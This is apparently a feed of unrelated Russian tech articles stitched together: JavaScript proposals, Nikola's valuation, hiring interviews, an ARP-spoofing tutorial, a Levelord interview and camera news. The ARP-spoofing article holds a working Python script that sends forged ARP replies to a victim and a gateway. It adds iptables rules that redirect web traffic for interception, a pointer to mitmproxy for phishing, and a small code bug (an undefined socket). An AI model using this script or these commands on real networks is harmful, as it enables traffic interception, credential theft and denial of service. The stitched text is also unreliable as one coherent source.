В итоге можно сказать, что у декораторов есть потенциальная возможность изменить то, как мы пишем код. И эти изменения уже показывают себя, даже учитывая то, что внедрение декораторов находится на ранней стадии. Правда, учитывая текущее положение дел, декораторы лишь фрагментируют сообщество, и я полагаю, что они пока ещё не готовы к по-настоящему серьёзному использованию. Я посоветовал бы тем, кому декораторы интересны, немного подождать перед их внедрением в продакшн. Моя рекомендация, правда, не относится к тем, кто использует фреймворки, в которых применяются декораторы (вроде Angular).

Области (realms)

Теперь давайте немного сбавим обороты и поговорим об одной возможности, не такой сложной, как декораторы. Речь идёт об областях.

Возможно, вы уже бывали в ситуациях, когда вам нужно запустить собственный код, или код стороннего разработчика, но при этом сделать это так, чтобы этот код не повлиял бы на глобальное окружение. Многие библиотеки, в особенности — браузерные, работают через глобальный объект window. В результате они могут друг другу мешать в том случае, если в проекте используется слишком много неконтролируемых разработчиком библиотек. Это может приводить к ошибкам.

Сейчас решение этой проблемы в браузере заключается в использовании элементов <iframe>, а в некоторых особых случаях — в использовании веб-воркеров. В среде Node.js ту же проблему решают с помощью модуля vm или с помощью дочерних процессов. Для решения подобных проблем и предназначен API Realms.

Этот API направлен на то, чтобы позволить разработчикам создавать отдельные глобальные окружения, называемые областями. В каждой такой области имеются собственные глобальные сущности. Взгляните на следующий пример:

var x = 39;
const realm = new Realm();

realm.globalThis.x; // undefined
realm.globalThis.x = 42; // 42
realm.globalThis.x; // 42

x; // 39

Здесь мы создаём новый объект Realm, используя соответствующий конструктор. С этого момента у нас есть полный доступ к новой области и к её глобальным объектам через свойство globalThis (введённое в ES2020). Тут можно видеть, что переменные основного «инкубатора» отделены от переменных в области, которую мы создали.

В целом, API Realms планируется как очень простой механизм, но — механизм полезный. Этот API отличается весьма специфическим набором вариантов использования. Он не даёт нам более высокий уровень безопасности, или возможности по многопоточному выполнению кода. Но он отлично, не создавая при этом лишней нагрузки на систему, справляется со своей основной задачей, с обеспечением базовых возможностей по созданию изолированных окружений.

Предложение по API Realms сейчас находится на 2 стадии согласования. Когда оно, в итоге, попадёт в стандарт, можно будет ожидать того, что оно будет использоваться в «тяжёлых» библиотеках, зависящих от глобальной области видимости, в онлайн-редакторах кода, оформленных в виде «песочниц», в различных приложениях, ориентированных на тестирование.

Do-выражения (do expressions)

Синтаксис JavaScript, как и синтаксис большинства языков программирования, включает в себя инструкции (statements) и выражения (expressions). Самая заметная разница между этими конструкциями заключается в том, что выражения могут быть использованы как значения (то есть — их можно назначать переменным, передавать функциям и так далее), в то время как инструкции в таком качестве использовать нельзя.

Из-за этого различия именно выражениям чаще всего отдают предпочтение, стремясь к написанию более чистого и компактного кода. В JavaScript это можно увидеть, если проанализировать популярность функциональных выражений (function expression), куда входят и стрелочные функции, в сравнении с объявлениями функций (function declaration, function statement). Та же ситуация видна, если сравнить методы для перебора массивов (вроде forEach()) с циклами. То же самое, в случае с более продвинутыми программистами, справедливо и при сравнении тернарного оператора и инструкции if.

Предложение по do-выражениям, находящееся на 1 стадии согласования, нацелено на то, чтобы ещё сильнее расширить возможности JS-выражений. И, кстати, не надо путать понятие «do-выражение» с циклами do…while, так как это — совершенно разные вещи.

Вот пример:

let x = do {
  if (foo()) {
    f();
  } else if (bar()) {
    g();
  } else {
    h();
  }
};

Здесь представлен синтаксис из предложения по do-выражениям. В целом, перед нами — фрагмент JS-кода, обёрнутый в конструкцию do {}. Последнее выражение в этой конструкции «возвращается» в качестве итогового значения всего do-выражения.

Похожий (но не идентичный) эффект достижим с использованием IIFE (Immediately Invoked Function Expression, немедленно вызываемое функциональное выражение). Но в случае с do-выражениями весьма привлекательным кажется их компактный синтаксис. Тут, при схожем функционале, не нужно ни return, ни каких-то некрасивых вспомогательных конструкций вроде (() => {})(). Именно поэтому я полагаю, что после того, как do-выражения попадут в стандарт, их воздействие на JavaScript будет сравнимо с воздействием на язык стрелочных функций. Удобство выражений и дружелюбный синтаксис, так сказать, в одной упаковке, выглядят весьма заманчиво.

Сопоставление с образцом (pattern matching)

Эта возможность последняя в данном материале, но она далеко не последняя по значимости. Речь идёт о предложении, направленном на внедрении в язык механизма сопоставления с образцом.

Возможно, вы знакомы с JS-инструкцией switch. Она похожа на if-else, но её возможности немного сильнее ограничены, и она, безусловно, лучше подходит для организации выбора одной из множества альтернатив. Вот как она выглядит:

switch (value) {
  case 1:
    // ...
    break;
  case 2:
    // ...
    break;
  case 3:
    // ...
    break;
  default:
    // ...
    break;
}

Лично я считаю инструкцию switch слабее инструкции if, так как switch умеет сравнивать то, что ей передано, только с конкретными значениями. Данное ограничение можно обойти, но я не могу придумать — зачем. Кроме того, инструкция switch перегружена вспомогательными элементами. В частности, речь идёт об инструкциях break.

Механизм сопоставления с образцом можно рассматривать как более функциональную, основанную на выражениях, и потенциально более универсальную версию инструкции switch. Вместо простого сравнения значений, механизм сопоставления с образцом позволяет разработчику сравнивать значения со специальными образцами (шаблонами), которые поддаются глубокой настройке. Вот фрагмент кода, демонстрирующий пример предложенного API:

const getLength = vector => case (vector) {
  when { x, y, z } -> Math.hypot(x, y, z)
  when { x, y } -> Math.hypot(x, y)
  when [...etc] -> vector.length
}
getLength({x: 1, y: 2, z: 3})

Тут используется довольно-таки необычный для JavaScript синтаксис (хотя он основан на синтаксисе, встречающемся в таких языках, как Rust или Scala), у которого есть некоторые общие черты с уже известной нам инструкцией switch. Здесь, вместо ключевого слова switch, используется слово case, которое отмечает начало блока, в котором выполняется проверка значения. Затем, внутри блока, используя ключевое слово when, мы описываем шаблоны, с помощью которых хотим проверять значения. Синтаксис шаблонов напоминает синтаксис уже имеющегося в языке механизма деструктурирования объектов. Сравнивать значения можно с объектами, содержащими выбранные свойства, их можно сравнивать со значениями свойств объектов и со многими другими сущностями. Для того чтобы узнать подробности о данном механизме — взгляните на этот документ.

После описания шаблона идёт стрелка («flat arrow», ->), указывающая на выражение (в перспективе — даже на другое значение), которое должно быть вычислено при нахождении совпадения с образцом.

Я полагаю, что наличие в JS подобных возможностей позволит нам писать, так сказать, код нового поколения. Однако предложенный сейчас синтаксис кажется мне несколько тяжеловесным, так как он вводит в язык много совершенно новых конструкций. И тот факт, что данное предложение всё ещё находится на 1 стадии согласования, заставляет меня думать о том, что ему ещё есть куда улучшаться. Эта возможность выглядит весьма многообещающе, но ей предстоит пройти ещё долгий путь прежде чем она попадёт в официальную спецификацию JS.

Итоги

На этом я завершаю рассказ о революционных возможностях JavaScript, которые, возможно, мы увидим в языке в будущем. Есть и другие подобные возможности, например — предложения о внешней стандартной библиотеке и о конвейерном операторе. Но я выбрал для этого материала только то, что показалось мне самым интересным. Учитывайте, что эти возможности всё ещё находятся на стадии предложений. Со временем они могут измениться. А может случиться так, что в стандарт они так никогда и не попадут. Но если вы, в любом случае, хотите быть в числе тех, кто раньше других пользуется подобными возможностями, я советую вам присмотреться к таким проектам, как Babel. Эти проекты дают путёвку в жизнь многим JS-предложениям (в особенности тем, которые связаны с синтаксисом). Это позволяет всем желающим экспериментировать с новейшими возможностями задолго до того, как они появятся в реализациях языка.

Каких возможностей вам больше всего не хватает в JavaScript?

Let's block ads! (Why?)

Истории с Уолл-стрит: как компания с нулевой выручкой может оцениваться в $34 млрд, а ее акции показывать взрывной рост

Издание Bloomberg рассказало историю компании Nikola Corp. – она разрабатывает гибридные грузовики, которые работают на электричестве и водородном топливе. Ее акции начали торговаться на бирже Nasdaq в начале лета 2020 года и практически моментально выросли на 28%, а капитализация компании составила $34 млрд. В определенные моменты торгов компания обходила по капитализации Ford Motor Co.

При этом инвесторов не смутил тот факт, что у Nikola Corp. еще нет выручки, свой первый миллиард она планирует заработать не раньше 2023 года (выручка Ford в 2020 году – $115 млрд), а полностью завод по производству грузовиков в штате Аризона (еще не построен) будет загружен лишь в 2028 году.

Как такое может быть, и что еще влияет на оценку акций компании? Разбираемся в нашей новой статье.

Что происходит

В последний год на фоне масштабного роста акций Tesla активизировались споры о том, как именно стоит подходить к оценке таких компаний. Однако компания Илона Маска действительно производит электромобили, запускает новые модели, и обладает целой армией фанатов. В случае же Nikola Corp. инвесторы пока просто верят обещаниям по выпуску грузовиков с нулевыми выбросами.

Компания была основана пять лет назад, и к лету 2020 года ее убытки составили $188,5 млн. Nikola Corp. планирует начать поставки первого электрического полуприцепа Tre в 2021 году, а гибридную модель большего размера Two – в 2023 году.

Еще одна модель – пикап Badger, сейчас доступен для предзаказа, но его производство еще не началось.

При этом в документации перед IPO компания указала, что планирует производить тяжелые грузовики, и не планирует запускать сборку Badger до момента, пока для этого не будет найден производитель с отлаженным производством для партнерства.

Почему инвесторы верят в Nikola?

На счетах компании к концу прошлого года оставалось $86 млн, а перед выходом на биржу она сумела привлечь еще $500 млн частного капитала. Nikola планирует построить завод по производству электрогрузовиков в штате Аризона площадью более 90 тысяч квадратных метров. Запуск производства намечен на конец 2021 года или начало 2022 года. Мощности завода будет достаточно для производства 30 тысяч электромобилей в 2027 году.

Компания также объявила о предзаказах на 14 тысяч электрических грузовиков. По оценкам руководства – сумма контрактов составляет примерно $10 млрд. Это еще не совершенные сделки – компания еще ведет переговоры с потенциальными покупателями о том, чтобы конвертировать предварительные соглашения в обязывающие документы, подразумевающие внесение депозита.

На данный момент этого достаточно для того, чтобы инвесторы верили в акции компании и их дальнейший рост. Несмотря на то, что обычно после IPO акции вскоре падают, снижение стоимости ценных бумаг Nikola Corp. оказалось не особенно большим:

В России акции американских компаний, включая автопроизводителей и создателей электромобилей – например, Tesla – можно купить на Санкт-Петербургской бирже. Для этого не нужно открывать счет у иностранного брокера, достаточно будет российского счета. Открыть его можно онлайн.

Читайте обзоры, аналитику рынков и инвестидеи в Telegram-канале ITI Capital

Полезные ссылки по теме инвестиций и биржевой торговли:

Let's block ads! (Why?)

«Обратные интервью» или Как вовремя перевернуть доску

Когда я собеседую на руководящие позиции, я часто применяю "обратные интервью": прошу кандидатов рассказать, что бы они сами спросили на моем месте. Это дает мне полезную информацию и приятно разнообразит процесс. Этот пост о том, как и почему я это делаю.

Довольно очевидно, что, собеседуя тимлида, которому/ой нужно будет нанимать людей в команду, стоит проверить, умеет ли кандидат это делать. Расспросить про опыт интервью, структуру (что в каком порядке спрашиваешь), на чем основываешь выводы и т.д. Очень полезно спросить, как кандидат оценивает резюме. В общем, логичные вещи для интервью с тимлидом. Но пост не об этом.

Кроме очевидных вопросов о том, что спрашивать у будущих подчиненных, я спрашиваю, что бы ты спросил_а у таких же будущих лидов. То есть у тех, кто претендует на позицию, на которую сейчас претендуешь ты. (Извините, эта рекурсия, видимо, будет нас преследовать до конца поста.) Это немного "переворачивает доску" — теперь кандидат оказывается в роли задающего вопросы. И это хорошо.

Изначально я стал так делать, когда нужно было собеседовать не-программистов. Я многого не знал о том, как работают, например, маркетологи, а найти главного маркетолога в Kotlin было нужно. Поэтому, еще на стадии обсуждения плана интервью с нашими HR'ами мне пришла в голову мысль не придумывать вопросы по маркетингу, а спросить у самих кандидатов. На начальном этапе это здорово помогло, потом уже меньше.

Но сама по себе мысль о том, что можно "перевернуть доску" и спросить кандидата, о чем у него спросить, укоренилась в моем сознании.

Например, сейчас я ищу тимлида в Alter, хочу передать всю ответственность за разработку  — моего времени уже не хватает. (Вот пост про то, как я провожу асинхронные интервью на эту позицию.) Здесь я даже в конце технических интервью (до разговоров о тимлидстве) стал спрашивать:

• Как тебе кажется, раскрыли ли мои вопросы твои сильные стороны?
• Что еще стоило бы у тебя спросить?

Это дает такие полезные эффекты:

• У меня есть шанс узнать что-то важное о кандидате, даже если я сам не догадался об этом спросить. Нанимаем не набор скиллов, а человека, тут важно посмотреть с разных сторон.
• Кандидат расскажет, что сам ценит в себе и своей профессиональной области. Это говорит и о приоритетах, и о мотивации.
• Все нервничают, часто бывают ошибки по невнимательности, на конечные выводы они особо не влияют, но настроение кандидату портят. А тут у него есть шанс обратить внимание на свои сильные стороны. Это может немного поднять настроение, а довольный кандидат всегда лучше недовольного.

На практике выяснилось, что многие не особенно задумываются о том, какие у них сильные стороны, а вопрос я задаю в конце интервью, когда времени долго раздумывать уже нет. Поэтому я стал предлагать ответить на эти вопросы оффлайн, чтобы дать возможность подумать. Результаты мне нравятся.

Но все-таки вопрос: "что еще стоило бы спросить лично у тебя?"  —  это скорее что-то из области фидбека на прошедшее интервью, и спрашиваешь это где-то в конце. Самое интересное  — это на тимлидском (не техническом) собеседовании спросить: "а что бы, на твой взгляд, стоило спрашивать на моем месте?"

Мне это дает очень много информации:

• Как кандидат вообще видит ту позицию, на которую собеседуется.
• Что считает самым важным в своей работе.
• По каким критериям оценивает свою работу.

Грубо говоря, это в чем-то аналогично таким вопросам (но без неприятных побочных эффектов):

• Опиши тимлида, на которого тебе хотелось бы быть похожим/похожей?  —  Но кандидаты не отвлекаются на личность конкретного человека и особенности конкретных ситуаций из прошлого.
• Как ты понимаешь, что хорошо работаешь в роли лида? — Но кандидаты не начинают говорить, что это моя работа  —  давать им фидбек, как подчиненным.
• Чему ты научился/научилась после того, как стал_а руководить людьми? — Но кандидаты не погружаются в прошлое, пытаясь восстановить последовательность событий.

В общем, мне больше нравится: "что бы ты спрашивал_а у кандидатов на моем месте?"

Поскольку вопрос этот — не на сообразительность, а скорее на рефлексию и понимание своей роли, мне не нужен быстрый ответ. Если кандидат подумал над вопросом заранее — это очень хорошо. По факту примерно так и получается (по крайней мере нередко).

По логике вещей кандидату стоит еще на этапе чтения вакансии думать о том, что у него будут спрашивать интревьюеры. Естественно, важны не формулировки вопросов, а что интервьюер захочет о тебе узнать. Всего заранее не угадаешь, но основные моменты в нормально написанной вакансии обычно видны. Полезно подумать немного заранее, что примерно могут по этому поводу спросить. Конечно, не все это делают, но это не редкость.

Так что вопрос: "что бы ты спрашивал_а на моем месте?", хоть и бывает неожиданным, все-таки не особо сложный для кандидата и не выбивает его из колеи.

Напоследок просто расскажу короткую байку. Прошлым летом мы общались с Егором Толстым, который теперь возглавляет Product Management в Kotlin. С обеих сторон было и много желания работать вместе, и четкое понимание, что надо получше понять на берегу, получится ли. 

Когда Егор приехал в Питер на целый день, я на одном из интервью просто предложил ему: "пособеседуй меня на позицию тимлида". Это было, мне кажется, самое информативное тимлидское интервью в моей карьере: я узнал о том, какой Егор руководитель, больше, чем за все предыдущее общение. Взял бы Егор меня в тимлиды или нет, я, кажется, забыл тогда спросить, но работать вместе мы решили, и пока что получается неплохо.

Пока я больше никому не предлагал так развлечься на целый час, но, наверняка, еще предложу.

Для меня "обратное интервью"  —  это в первую очередь идея, которая выходит за традиционный шаблон, где вопросы придумываю только я, как интервьюер. Это не самый главный инструмент для собеседования тимлилов, но мне он нравится, и я его нередко использую.

Let's block ads! (Why?)

Реализация ARP-спуфинга на Python

Введение

В данной статье я бы хотел продемонстрировать то, как можно реализовать собственную программу ARP-спуфинга на Python. Реализаций уже тысячи, но почти все они с использованием библиотеки Scapy и пары методов. Возможно данную библиотеку использовать эффективнее, не спорю, но мне было интересно реализовать самому с помощью сокетов и я бы хотел поведать читателям о том, как это делается.

Предполагается, что Вы уже знакомы с тем, как работает ARP-протокол и его недостатком, если нет, то советую прочитать вот эту статью.

Я не являюсь высококвалифицированным специалистом Информационной Безопасности, поэтому прошу тапками не кидать, а любые неточности оговорить в комментариях.

Немного теории

Начнем с того, что код протокола — \x08\x06 и работает он на втором уровне OSI, то есть канальном.
Затем необходимо ознакомиться с телом его пакета, чтобы знать, что отправлять. На википедии оно очень хорошо расписано:

Тело пакета

Hardware type (HTYPE)
Каждый канальный протокол передачи данных имеет свой номер, который хранится в этом поле. Например, Ethernet имеет номер 0x0001.
Protocol type (PTYPE)
Код сетевого протокола. Например, для IPv4 будет записано 0x0800.
Hardware length (HLEN)
Длина физического адреса в байтах. Адреса Ethernet имеют длину 6 байт (0x06).
Protocol length (PLEN)
Длина логического адреса в байтах. IPv4 адреса имеют длину 4 байта (0x04).
Operation
Код операции отправителя: 0x0001 в случае запроса и 0x0002 в случае ответа.
Sender hardware address (SHA)
Физический адрес отправителя.
Sender protocol address (SPA)
Логический адрес отправителя.
Target hardware address (THA)
Физический адрес получателя. Поле пусто при запросе.
Target protocol address (TPA)
Логический адрес получателя.

На первый взгляд может показаться сложно, но если разобраться, то проблем возникнуть не должно.
И так, первое — Hardware Type (Тип Оборудование) у нас это Ethernet, значит код будет 0x0001 или \x00\x01, Protocol Type (Тип протокола) — IPv4, кодируется как \x08\x00; затем идут длина типа оборудования и протокола \x06\x04, а то есть 6 и 4 байтов.
И на конце у нас код операции, который в случае запроса \x00\x01, а в случае ответ \x00\x02 и физические/логические адреса отправителя/получателя.

Реализация

В первую очередь необходимо объявить экземпляр сокета и задать необходимые параметры:

import socket
import time

interface = "wlan0"  # Прослушиваемый сетевой интерфейс
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb"  # Наш MAC-адрес, он же bb:bb:bb:bb:bb:bb

gateway_ip = socket.inet_aton("192.168.1.1")  # IP-адрес шлюза
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa"  # MAC-адрес шлюза

victim_ip = socket.inet_aton("192.168.1.2")  # IP-адрес жертвы
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc"  # MAC-адрес жертвы


connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
s.bind((interface, socket.htons(0x0800)))

Исходя из того, что ARP это протокол второго уровня OSI, мы используем первым параметром socket.PF_PACKET. Также для работы программы Вам будут нужны права root.
Метод socket.htons() преобразовывает 16-битные натуральные числа в сетевой порядок байтов.
Метод socket.inet_aton() преобразовывает IPv4 адреса в 32-битный двоичный формат.
Также я объявил необходимые переменные.

Следующий этап — формирование пакета:

arp_code = b'\x08\x06'  # Код протокола
htype = b'\x00\x01'  # Hardware Type
ptype = b'\x08\x00'  # Protocol Type
hlen = b'\x06'  # Hardware Length
plen = b'\x04'  # Protocol Length
operation = b'\x00\x02'  # Operation Code - Ответ

protocol = htype + ptype + hlen + plen + operation  # Собранное тело

# Две части пакетов ниже указывают от кого, кому и по какому протоколу отсылать данные
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code

# Окончательные пакеты для жертвы и шлюза
# 4 переменные после протокола это 4 последних значения из спойлера, которые мы не разобрали
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip

# Отправка поддельных пакетов
while True:
    connect.send(request_victim)
    connect.send(request_gateway)
    time.sleep(1)

Сейчас мы разобрали только саму программу, но если вы хотите не только отключать пользователей от шлюза, но и подменивать/нюхать пакеты, то для этого нужно будет включить переадресацию в ip_forward:

echo 1 > /proc/sys/net/ipv4/ip_forward

А также настроить маршрутизацию пакетов через iptables:

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080

Если Вы хотите провести фишинг, то лучше всего подойдет утилита mitmproxy.
Просмотреть проходящий через Вас трафик можно утилитой tcpdump.

Также у себя на GitHub я опубликовал скрипт, предназначенный для отключения всех или некоторых узлов от шлюза — github.com/secwayz/netbuster

В результате написания программы я обнаружил, то что даже при коде операции 0x0001 (запрос) и со всеми параметрами из ответа(они немного отличаются), жертва все равно принимает пакет и меняет MAC-адрес в ARP-таблице, при этом стабильность атаки и стойкость этой записи значительно повышаются. Я предполагаю, что это еще один недостаток протокола, при котором сетевой интерфейс не игнорирует неверно составленный пакет, а обрабатывает его и перезаписывает таблицу.

Let's block ads! (Why?)

Как мы сыграли на выпивание с Ричардом Левелордом Греем: личная жизнь, любимые игры и о Москве

20 июля в нашем инстаграм-аккаунте прошел прямой эфир с Ричардом Левелордом Греем — создателем игр Duke Nukem 3D, SiN, Blood. Также Ричард создал несколько уровней для Quake: Scourge of Armagon.

Последние несколько лет Левелорд живет в Москве с женой Ольгой и дочерью. На время эфира он застрял в Далласе из-за коронавируса. Мы провели эфир в необычном формате игры на выпивание: вы задавали Ричарду вопросы и если вопрос был интересным, выпивал Ричард, после каждого третьего вопроса выпивали зрители.

Делимся записью и расшифровкой эфира.

В чем преимущество игр из 90-х перед современными играми?

Они лучше, потому что технологии тогда были гораздо проще, а команды разработчиков – меньше. У них было больше времени на то, чтобы сделать игру интереснее и прикольнее, а теперь все время уходит на то, чтобы игра просто работала.

Как пропатчить KDE2 под FreeBSD?

Oh. Shutka.

Как вы узнали об Atomic Heart и студии Mundfish?

Студия сама достучалась до меня. Меня вообще часто просят посмотреть на игру или оценить её, и я всегда соглашаюсь, хотя в последнее время меня ничего не впечатляло. Я сам себя считаю «в отставке» от серьезных проектов после 2008 года и SiN Episodes. Однако игра, разрабатываемая Mundfish, впервые за долгое время меня заинтересовала: особенно ее атмосфера, игровой мир и история, и технологию трассировки лучей NVidia RTX, позволяющую обрабатывать поведение света «на ходу» (например, зеркала работают как настоящие, можно даже поставить зеркало напротив зеркала). Я решил, что Mundfish – классные ребята, которые делают крутую игру, и взялся помогать им.

Кстати, еще до того, как я взялся помогать студии, я сделал предзаказ Atomic Heart. Если вы еще не видели демо – посмотрите, игра отличная. А еще у меня есть их футболка.

Ваша любимая книга о гейм-дизайне?

У меня было любимых 10-20 книг о дизайне, но это было еще в 90-х. Сейчас я ничего не могу посоветовать.

Какое впечатление от вашей жизни в России?

Для полноценного рассказа потребовалось бы 3-4 часа. Краткий ответ дать сложно: это как пытаться объяснить, почему больше нравится ванильное мороженое – оно же просто нравится, и все. Я всегда интересовался Россией: когда был молодым, и когда служил на флоте. Этот интерес только возрастал. После того как я начал работать над играми, то подружился с журналистами из российских игровых изданий (тогда еще бумажных). Я часто повторял: «Когда-нибудь я женюсь на прекрасной русской женщине и построю себе дом в России». Мои друзья всегда отвечали: «Ну да, конечно»; однако, так и вышло: свою будущую супругу я встретил на одной из московских конференций КРИ.

А почему именно Москва?

Изначально – потому, что моя жена живет в Москве. Сегодня я утверждаю, что Москва – его любимый город во всем мире, при этом она очень похожа на Нью-Йорк – мой любимый город в Штатах.

Расскажите про вашу последнюю профессиональную игру до перерыва — Becky Brogan Adventures.

Это были лучшие три года моей профессиональной жизни. Над этой игрой я работал в одиночестве – не нужно было куда-то ездить, ходить на встречи, вести документацию, кого-то контролировать (или самому быть под чьим-то контролем), вообще контактировать с другими людьми.

Почему сейчас практически невозможно делать инди-игры в одиночку, несмотря на доступность бесплатных инструментов разработки и Steam?

Слишком большая конкуренция. Когда я выпускал свою игру, еще не существовало огромного количества инди-студий, выпускающих сотни игр каждую неделю. Наличие бесплатных инструментов – например, Unity и Unreal Engine – еще больше усиливает конкуренцию. До того, как они появились, многие талантливые люди не могли начать делать игры из-за дороговизны инструментов разработки и сложностей с изданием игр, но сейчас любой одиночный проект рискует потеряться в массе инди.

Как вы встретили Ольгу (жену Ричарда)?

Все началось с Е3 2003 года – на этой конференции я подружился с двумя российскими разработчиками (дружба оказалась долгоживущей, они и сейчас мне как братья). Позже, в 2005 году, мы встретились на выставке КРИ в Москве, и там меня познакомили с Ольгой, она тогда работала с одним из моих друзей. Это была счастливая случайность. Кстати, сейчас эти друзья руководят компаниями-разработчиками игр в Москве.

Пробовали ли вы работать в других направлениях игростроения, кроме дизайна уровней?

В старые времена дизайнеры уровней выполняли более широкие задачи в гейм-дизайне и занимали принципиально другую позицию внутри компании. Например, в Duke Nukem 3D Ричард и Алан Блум не просто рисовали карты уровней, а действительно создавали их от начала до конца. Сейчас все изменилось: в командах разработки есть разделение на дизайнеров низкого и высокого уровня, и у них слишком много бумажной работы, не связанной с дизайном уровней. Я не хотел бы быть в такой позиции.

Пишете ли вы книгу, или собираетесь ли вы ее написать?

Спасибо за вопрос, но, нет. Я уже 12 лет счастлив «в отставке» и ничего особенного не делаю.

А как насчет книги о том, как 12 лет ничего особенного не делать и быть счастливым?

Ладно, тогда вот текст книги: «Нужно много денег».

Вы счастливы на пенсии?

Да, конечно. Ну, иногда становится скучно.

Вы говорили, что можете рассказать о Game Garden и Dodo Games.

Это компании тех самых двух друзей, с которыми он знаком уже почти 20 лет – с E3 2003. Game Garden принадлежит Юрию Поморцеву, а Dodo – Анатолию Норенко. Обе компании выпускают множество казуальных игр: платформеров, «ферм» и других. Я иногда помогаю им.

А как вы им помогаете?

Иногда – дизайн и уровни, иногда – помощь с переводом на английский для западных пользователей. Я не работаю на них, просто помогаю по случаю.

Как вам юбилейная версия Duke Nukem 3D – 20th Anniversary World Tour?

Было круто! Я с удовольствием участвовал в разработке юбилейного издания. Я бы согласился это делать и бесплатно (только не говорите никому). В свое время Duke Nukem 3D был первым крупным проектом, в котором я участвовал: тогда же впервые опробовал на себе «кранч» — это когда разработчик работает по 20 часов в день. В такие дни я ощущал себя полностью запрограммированным на создание уровней. Над юбилейной версией я работал из Москвы, а мой товарищ-дизайнер по 3D Realms – Алан Блум – из Калифорнии; я временами ловил себя на том, что я ожидаю повернуть голову и увидеть за соседним столом Алана, у которого всегда можно было уточнить любые тонкости работы с движком Build.

Есть ли у вас любимая игра, в которую вы играете, чтобы расслабиться (или просто игра, к которой вы постоянно возвращаетесь)?

Когда я занимался разработкой, я не играл в игры. Это как если бы вы работали поваром в пиццерии: если целый день делать пиццы, уже не захочется видеть их, придя домой. Кроме того, я зачастую уставал больше других разработчиков, будучи лет на 20 старше большинства своих коллег: придя домой, я обычно просто ложился спать. Сейчас я иногда играю, но обычно в казуальные игры; ни одной новой ААА-игры за последние 15 лет я не пробовал.

Я считаю, что игры теперь слишком сложные: чтобы вникнуть в сюжет, приходится прочитать целую книгу; управление занимает всю клавиатуру, слишком много видов оружия и других прибамбасов. Я хотел бы просто пострелять, вместо всего этого – приключения, головоломки, история игры и так далее.

А как насчет Call of Duty?

Call of Duty начали выходить еще тогда, когда я активно занимался разработкой игр – их я помню хорошо. Я считаю, что, возможно, я уже слишком стар для всего этого. Хотя я иногда возвращаюсь к первой части Age of Empires.

Когда в последний раз Ричард ходил без усов?

Где-то в 1994-95, наверно. Бороду он сбрил недавно, чтобы было удобнее носить маску.

Fruit Ninja или Plants VS Zombies?

Из казуальных игр я обычно играю в карточные или 3-в-ряд, больше похожие на настольную игру, поэтому не могу ответить.

Нравится ли Ричарду Serious Sam?

Конечно. Это как раз такая игра, которые я люблю. Надо просто стрелять!

Как скоро пройдет тренд на «королевские битвы»?

Я считаю, что они с нами уже достаточно долго и, вероятно, они останутся навсегда. Они напоминают новую версию Deathmatch.

Нравится ли Ричарду Half-Life?

Я играл в обе «старые» части, конечно. Я признаю, что первая часть заслуженно выиграла в конкуренции с собственной игрой Ritual Entertainment – SiN; вторая часть мне нравится еще сильнее.

Есть ли новые технологии, которые нравятся Ричарду или хотя бы вызывают сильные эмоции? VR, AR, захват движения и так далее.

Я познакомился с современной VR пару лет назад, во время работы с Mundfish и с Высшей школой экономики, и недавно – с современной технологией захвата движения. Обе технологии меня впечатлили. Раньше я имел дело с устройством VR – приблизительно в 2000 году, но тогдашний «шлем» был абсолютно неудобен, и его было невозможно носить более 5 минут; собственно, и сама технология работала плохо.

Я был настроен скептически, но обнаружил, что современные VR-очки удобно носить, и они действительно создают эффект присутствия: виртуальное падение в пропасть оставило сильное впечатление. С дополненной реальностью я еще не имел дела, но считаю, что и эта технология может оказаться интересной. Мой предыдущий опыт с технологией захвата движения был примерно в 2005 году, в Техасе, и он также был не слишком позитивным: участникам приходилось налеплять яркие белые точки на все суставы, и после захвата (проводимого в большой комнате, на 16 камер) аниматорам приходилось долго подправлять движения.

От этого выгодно отличался захват движения в Mundfish: там использовался специальный костюм, который сам отслеживал движения, и только одна камера (возможно, просто телефон) – процесс шел очень гладко.

---

А что дальше?

Следующий прямой эфир пройдет в ближайший вторник, 21 июля в 20:00.
Отвечать на ваши вопросы в прямом эфире, в этот раз будет Андрей Евсюков, заместитель CTO в Devilery Club, который занимается созданием инжереной культуры в Delivery Club: найм, формирование команд, создание процессов разработки. До этого разрабатывал на PHP и на go. Эфир пройдет в нашем инстаграм-аккаунте.

Задать ему вопрос можно в комментариях к этому посту.

---

Что было ранее

1. Илона Папава, Senior Software Engineer в Facebook — как попасть на стажировку, получить оффер и все о работе в компании
2. Борис Янгель, ML-инженер Яндекса — как не пополнить ряды стремных специалистов, если ты Data Scientist
3. Александр Калошин, СEO LastBackend — как запустить стартап, выйти на рынок Китая и получить 15 млн инвестиций.
4. Наталья Теплухина, Vue.js core team member, GoogleDevExpret — как пройти собеседование в GitLab, попасть в команду разработчиков Vue и стать Staff-engineer.
5. Ашот Оганесян, основатель и технический директор компании DeviceLock — кто ворует и зарабатывает на ваших персональных данных.
6. Сания Галимова, маркетолог RUVDS — как жить и работать с психиатрическим диагнозом. Часть 1. Часть 2.
7. Илья Кашлаков, руководитель фронтенд-отдела Яндекс.Денег — как стать тимлидом фронтендеров и как жить после этого.
8. Влада Рау, Senior Digital Analyst в McKinsey Digital Labs — как попасть на стажировку в Google, уйти в консалтинг и переехать в Лондон.

Let's block ads! (Why?)

Blackmagic представила камеру, которая снимает 12K-видео при 60 кадрах/с

Blackmagic Design презентовала видеокамеру, которая поддерживает запись 12K-видео в формате RAW с частотой 60 к/с. Ursa Mini Pro 12K является улучшенной версией камеры Ursa Mini Pro, которая поддерживает разрешение 4,6K.

Ursa Mini Pro 12K имеет 80-мегапиксельный датчик Super 35 с разрешением 12288×6480, 14-ступенчатым динамическим диапазоном и стандартным ISO 800. Это позволяет также снимать видео в формате RAW с разрешением 8K со скоростью 110 кадров/с и в 4K Super 16 со скоростью 220 кадров/с.

Крепление PL в новой камере обеспечивает совместимость с большим набором кинообъективов высокого уровня. Его также можно при желании заменить на крепления Canon EF и Nikon F.

